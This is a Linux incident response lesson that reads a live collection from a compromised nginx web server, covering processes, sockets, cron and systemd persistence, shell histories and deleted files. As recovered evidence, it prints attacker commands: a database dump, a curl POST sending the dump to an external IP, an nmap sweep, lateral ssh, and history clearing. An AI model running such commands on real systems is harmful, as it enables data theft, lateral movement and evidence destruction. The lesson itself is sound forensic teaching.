In this section

Linux Incident Response: Reading a Live Collection From a Compromised Web Server

Module 0

Introduction

A Linux host is evidence in two different states at once. While it runs, the kernel knows which processes exist, which sockets are open and what each process holds in memory.

On disk it keeps files, logs, configuration and shell histories that survive a shutdown. An investigation reads both, and the first thing it has to know is which state each record came from, because that decides what the record can and cannot say.

This lesson reads one collection that way. INC-NE-2026-0310 is a web server compromise on SRV-NGE-MCR-WEB01, which the case describes as Ubuntu 22.04 running nginx. The monitoring team saw unusual outbound connections at 14:22 on 10 March, and a live collection was taken at 15:00, before the server was isolated. The intrusion itself had happened twelve hours earlier.

1. Runningprocesses, sockets, memory: exist only while the host runs2. Collected livea snapshot of what was running at the moment of collection3. On diskfiles, logs, configuration, history: survive a shutdown4. Gonewhat exited before collection and left nothing on disk

The acquisition boundary: what a collection can hold depends on when, and how, it was taken.

The figure is the boundary every lesson in this module will return to. What exists only while the host runs can be collected only from a running host, and only as a snapshot of one moment. What is on disk survives, but only if something wrote it there.

01

What the Collection Holds

Live records and disk records

The case's evidence comes as parsed artifacts, one file per kind. Grouped by whether each could only have come from the running host:

live  linux_processes      16 records
live  linux_network        14 records
disk  linux_auth           56 records
disk  linux_logins         25 records
disk  linux_history        32 records
disk  linux_crontab         4 records
disk  linux_systemd         8 records
disk  linux_files          50 records
disk  linux_packages       10 records
disk  linux_weblog        659 records
disk  linux_hosts           5 records
disk  linux_ssh             4 records
disk  linux_configs         6 records

Two kinds are live: the process list and the socket table. Everything else was read from the disk: authentication and web logs, login records, shell histories, crontabs, systemd units, file metadata, packages, SSH keys, configuration and the hosts file. Most of the collection by volume is the web server's access log, which is ordinary for a web server and is where Module 4's lessons on the web entry route start.

The split matters because the two kinds answer different questions. The live records say what was happening at 15:00. The disk records say what happened over weeks, but only for the activity that wrote something to disk. Neither alone describes an intrusion that happened at two in the morning and was noticed at two in the afternoon.

Some of the disk records are themselves only snapshots. A crontab or a systemd unit is a file whose current contents were read; if the attacker had changed it three times, the collection would hold only the last version.

Logs are different, because each line was written when its event happened and earlier lines stay unless something removes them. Knowing which records accumulate and which only show the present is the second distinction an investigator makes after live against disk, and Module 3 is built on it.

The collection was also taken before isolation. That choice preserved the live records, because a server pulled off the network and powered down would have lost both of them. It also means the collection ran on a host the attacker still controlled, which Module 9 treats as the central problem of live response: the tools used to collect can be lied to by the system they run on.

It is also worth noting what the collection does not hold at all: no memory image, no audit records and no journal. Each of those would have answered questions this lesson leaves open, and their absence is a decision someone made when the collection was planned, which Module 11 treats as part of readiness.

Module 1 starts from exactly this division. Its first lessons are about the filesystem as evidence and the inode, and its seventh is about the live host against the disk image, because every later module assumes the reader knows which side of the boundary a record sits on.

02

One Process Out of Place

Reading a process list at the moment of collection

The process list held 16 processes. Most started when the server booted on 28 February. Those started after 9 March, oldest first:

  PID  PPID  USER      STARTED           COMMAND
 1024     1  root      2026-03-09 09:16  nginx: master process /usr/sbin/nginx
 1025  1024  www-data  2026-03-09 09:16  nginx: worker process
 1026  1024  www-data  2026-03-09 09:16  nginx: worker process
 1027  1024  www-data  2026-03-09 09:16  nginx: worker process
 1028  1024  www-data  2026-03-09 09:16  nginx: worker process
 2157  1100  www-data  2026-03-10 00:22  php-fpm: pool www
 2156  1100  www-data  2026-03-10 02:14  php-fpm: pool www
 8847     1  root      2026-03-10 02:45  /usr/local/bin/.syscheck

The nginx master and its four workers restarted on 9 March, two php-fpm workers started in the early hours of 10 March, and one process started at 02:45 that has no business on a documentation server: /usr/local/bin/.syscheck, PID 8847, running as root, with PID 1 as its parent.

Each of those details means something. A leading dot hides a file from a plain directory listing. /usr/local/bin is where locally installed programs go, outside the package manager's view.

Root means it can do anything on the host. And a parent of PID 1 means either that the service manager started it or that whatever started it has gone and the process was adopted, which on its own cannot be told apart from this record; the disk records in the next section settle it.

A process list is easy to read badly in two directions. A name proves nothing, because any program can call itself anything, and a file named to look like a system tool is the oldest disguise there is. But a strange name proves nothing either; plenty of legitimate software installs oddly named helpers.

What makes this process stand out is the combination: hidden name, local directory, root, started in the middle of the night on the day of the alert, and an external connection.

The socket table, with the listening sockets and the 8 ordinary connections from internal web clients removed, shows what .syscheck was doing:

tcp 10.1.30.10:48822      203.0.113.99:4444     ESTABLISHED   8847 .syscheck
tcp 10.1.30.10:52334      10.1.20.11:22         CLOSE_WAIT   24622 ssh

.syscheck held an established connection to 203.0.113.99:4444, the address the network team had seen. A root shell connected out to an attacker's listener is a reverse shell, and it was still open when the collection ran.

One more socket stands out: an ssh client owned by root in CLOSE_WAIT to 10.1.20.11 on port 22, a connection to another internal server that the remote side has closed. Module 7 is about exactly that kind of record.

The socket table is a snapshot in the same way the process list is. A connection that opened and closed at 02:44 is not in it unless something else recorded it, and the ssh connection is visible only because the client process was still holding it when the collection ran. The two live records together describe the state of the host at 15:00 and nothing earlier.

03

The Same Program on Disk

A process, a file, a schedule and a service

The live records show .syscheck running. The disk records show how it got there and how it means to stay:

file     /usr/local/bin/.syscheck  -rwxr-xr-x  root  52480 bytes
         modified 2026-03-10T02:39:44  changed 2026-03-10T02:39:44
         accessed 2026-03-10T02:45:00
cron     /var/spool/cron/crontabs/root
         */15 * * * *  /usr/local/bin/.syscheck >/dev/null 2>&1
         file modified 2026-03-10T02:40:11
systemd  /etc/systemd/system/syshealth.service
         ExecStart=/usr/local/bin/.syscheck  Restart=always
         enabled=true  state=active/running

The file was written at 02:39:44 and last read at 02:45:00, the second the process started. Root's crontab runs it every fifteen minutes, and the crontab file was changed at 02:40:11. A systemd unit, syshealth.service, starts it at boot and restarts it whenever it stops.

Three separate records describe one program, and they agree. None of them could have been read from the process list, and the process list could not have been read from any of them.

One program, four records

Live and on disk

Process

PID 8847, parent 1, root, connected to 203.0.113.99:4444

File

/usr/local/bin/.syscheck, written 02:39:44 on 10 March

Cron

*/15 * * * * in root's crontab

systemd

syshealth.service, enabled, Restart=always

That agreement is what makes the finding strong. The process alone could be a one-off. The file alone could be a leftover. The cron entry and the unit alone could be an administrator's mistake. Together they say a program was installed, scheduled and made a service within six minutes, which is deliberate persistence; Module 6 covers every place on a Linux host where persistence can be written.

Notice also what the timestamps do. The file's modification time is when it was written, its change time is when its metadata last changed, and its access time is when it was last read. Each one says something different, and the access time at 02:45 matches the process start time to the second.

Module 1's lesson on the inode and its timestamps is where that reading starts, and Module 2's lesson on timestamp forensics is where it is tested.

The unit also answers the question the process list left open. With Restart=always, systemd starts the program again whenever it exits, so a parent of PID 1 is exactly what this process should have. Reading the live and disk records together is how one settles what the other cannot.

It also tells an investigator what to do about it. Killing PID 8847 would achieve nothing for long: the unit would restart it at once, and cron would start another copy within fifteen minutes.

Containment has to remove the file, the crontab line and the unit together, after they have been collected, and that order is one of the decisions Module 9 makes on a host that cannot simply be switched off.

04

Three Accounts

Who did what, read from shell histories

The case holds three shell history files. By account, with the span each covers:

www-data  /var/www/.bash_history     9 lines  03-10 02:14 to 03-10 02:28
deploy    /home/deploy/.bash_history   3 lines  03-09 09:15 to 03-10 02:31
root      /root/.bash_history       20 lines  03-10 02:31 to 03-10 02:45

The web server account, www-data, ran reconnaissance commands at 02:14 and 02:15 and at 02:28 appended a key to the deploy account's authorized_keys. The deploy account's history has two ordinary lines from the morning before and one at 02:31: sudo -i, a root shell. Root's history then runs from 02:31 to 02:45. Three accounts, one sequence: the web server account, an ordinary user it could reach, and root.

That chain is the shape of most Linux intrusions, and each link uses something the permission model allows. A web server account can write to a file it can reach. An SSH key in authorized_keys lets anyone holding the matching private key log in as that user.

A user allowed to run sudo can become root. Module 1's lesson on users, groups and the permission model is the ground for reading each link, and Module 5 is about the escalation step in depth.

Shell histories deserve caution as evidence. They are written by the shell, usually when it exits, they can be edited or cleared by the user they belong to, and a command run through a web shell is not normally an interactive shell at all.

Treat each line as a claim that needs another record to support it, and record in the finding which lines have that support and which do not. Here the support is strong: the deploy key file's modification time is 02:28:05, the same second as the www-data echo command.

The histories also give the reason for the intrusion. Root dumped a database called northgate_customers, compressed it and posted it to 203.0.113.99 on port 8443. That is the finding the business will care about, and it rests on history lines that the next section shows were meant to be gone.

One detail in the chain is worth flagging now. The www-data history file is at /var/www/.bash_history, but commands run through a web shell normally go to the shell interpreter non-interactively and are not written to any history at all.

When a record seems to show something the mechanism should not produce, the right response is to note it and look for the record that would confirm it, here the web server's access log, which Module 4 reads line by line.

05

What Was Not Kept

Processes that exited and a file that was removed

Root's history contains commands that ran and finished long before the collection:

02:33:22  mysql -u root -e "SHOW DATABASES"
02:34:11  mysql -u root northgate_customers -e "SELECT COUNT(*) FROM customers"
02:34:33  mysql -u root northgate_customers -e "SELECT * FROM customers LIMIT 5"
02:35:22  mysqldump -u root northgate_customers > /tmp/.cache_update
02:37:22  tar czf /tmp/.cache_update.tar.gz /tmp/.cache_update
02:38:44  curl -X POST -F "file=@/tmp/.cache_update.tar.gz" https://203.0.113.99:8
02:43:33  nmap -sn 10.1.20.0/24
02:44:11  ssh deploy@10.1.20.11
02:44:33  ssh deploy@10.1.20.12

None of these appear in the process list, because each ran for seconds and exited hours before 15:00. The process list shows what was running at one moment; everything else that ran is visible only through what it wrote. Here that is the history file, and for the upload, the file it uploaded.

The dump itself is a second gap. Root wrote it to /tmp/.cache_update at 02:35, and at 02:39:11 ran rm /tmp/.cache_update. The file is not in the collection's file records. The compressed copy, /tmp/.cache_update.tar.gz, is: 14572800 bytes, written at 02:37:22 and last read at 02:38:44, the second curl sent it.

Deleting the original and leaving the archive is the kind of half-cleanup that makes an investigation possible. The archive's size also bounds what left the host: whatever was in the customer table fit in that many compressed bytes, which is a number the people deciding on notification will ask for.

The last line of root's history is history -c, at 02:45:22. That command clears the shell's in-memory history, and the fact that the lines before it survive in this collection is exactly what the attacker did not intend. Module 2's lesson on anti-forensics covers why a cleared history so often comes back, and Module 1's lesson on names, links and deletion covers what removing a file actually does on disk.

So the boundary cuts both ways. The live collection kept a reverse shell that the disk could not show running. The disk kept the commands the live collection could not show, and a file the attacker deleted is described by the archive they forgot. Between 02:45 and 14:22 nothing happened that anyone saw, and every record in this lesson was read across that gap.

That gap is also why the order of collection matters. Had the server been rebooted at 14:30 to clear the alert, the reverse shell would have gone from the live records, and only the persistence would have shown it was ever there.

Had the attacker found time to delete the archive and the unit, the disk would have held even less. Every investigation is read from whatever survived to the moment someone started collecting, and the first decision an investigator makes is how to collect without losing more.

06

What Module 1 Builds On It

Linux forensic foundations

Module 1 is the system model an investigator needs before anything else in the course. It starts with the filesystem as evidence and the inode, moves through users and permissions, the process model and how the kernel exposes the running system, and ends with live host against disk image, boot and services, and what deletion really does.

What Module 1 builds

Module 1

1.1 to 1.3

the filesystem as evidence, the inode and its timestamps, users and permissions

1.4 to 1.6

the process model, the kernel's view through /proc, memory

1.7 and 1.8

live host against disk image, boot and the service model

1.9 and 1.10

names, links and deletion, and the model put to work

Module 1 is deliberately not about attacks. It is the model of the system that every later module reads attacks against, built on hosts you run yourself, so that each later finding rests on knowing what the system normally does.

Every section of this lesson leaned on one of those lessons. The process list needed the process model; the parent of PID 1 needed the service model; the file's three times needed the inode; the account chain needed permissions; and the missing dump needed deletion.

It also introduces the working arrangement the rest of the course keeps: a lab host of your own for every command, and the course's cases for the situations a lab cannot stage, such as a host collected twelve hours after it was attacked. The habits to carry into it are the ones this lesson used.

Say which side of the acquisition boundary every record came from. Read a process for its user, parent and start time, not its name. Look for the same program in every place it would leave a record, and trust agreement more than any single record. Treat a shell history as a claim needing support. And ask, for everything that should be there, why it is not.

Those habits apply equally to both distributions this course uses. Where Ubuntu and RHEL differ, it is in which files the evidence sits in and which tools write it, not in the model itself: a process, a file's times, a unit and an account work the same way on both. Module 1 says so wherever it is true, and shows both wherever it is not.

Do

Practice

Decide which processes belong
prepared evidence

The prepared evidence below is the complete process snapshot from SRV-NGE-MCR-WEB01 at 15:00. Decide which process does not belong, which started on the day of the intrusion, and why the commands in root's history are missing from it. Each answer comes with its reasoning, so check it against the rows rather than only the choice.

Read each row for its user, its parent and its start time against what a documentation server running nginx, PHP and MySQL should run. A web server's workers belong; a root process with a hidden name in a local directory does not, whatever it calls itself.

Look at the start times as a group as well. Most of the list started at boot on 28 February, nginx restarted the morning before, and two workers started overnight. A process that started in the same minutes as the intrusion stands out against that background without needing to know anything about what it is.

Then build your own lab host, start a long-running process from a shell and close the shell, and look at the process's parent. On most distributions it becomes PID 1 or a subreaper, and seeing it happen is the quickest way to stop reading a parent of 1 as proof of anything. Then look at the same process in /proc and in ps, and note which details each one shows.

Every later lesson in this module returns to that boundary, because every case it reads was collected at some moment by somebody, and what they collected is all there is. A Linux host is evidence on both sides of a boundary: what the running system knows and what the disk keeps.

On this web server the live collection caught a reverse shell still connected twelve hours on, the disk kept the commands and the scheduling that put it there, and the gap between them is where the processes that had already exited would have been.

The next lesson goes one level down into the disk, to what the filesystem itself records about each file and what it keeps after a file is gone.